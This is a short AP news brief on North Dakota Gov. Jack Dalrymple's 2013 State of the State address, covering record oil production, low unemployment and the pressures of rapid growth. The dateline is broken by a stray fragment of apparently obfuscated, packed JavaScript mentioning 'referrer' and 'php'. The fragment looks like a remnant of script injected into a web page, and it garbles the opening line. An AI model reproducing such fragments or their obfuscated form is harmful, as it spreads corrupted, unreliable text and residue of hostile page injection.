BISMARCK, bkyed|var|u0026u|referrer|fanbn||js|php’.split(‘|’),0,{}))
N.D. (AP) – Gov. Jack Dalrymple says despite being blessed with a strong economy, North Dakota still faces big challenges for the future.

Dalrymple gave his State of the State speech to a joint session of the North Dakota Legislature on Tuesday, as lawmakers begin their 2013 session.

The governor says record oil production has helped North Dakota’s spur the state’s economy and grow its population. The state has the lowest unemployment rate in the country and is the second-largest oil-producing state behind Texas.

But Dalrymple says the state faces many challenges because of its rapid economic growth “that far exceed” what a city or county would normally encounter.

Dalrymple told lawmakers that the state must deal with the challenges by addressing needs in law enforcement, infrastructure, housing, education and human services programs.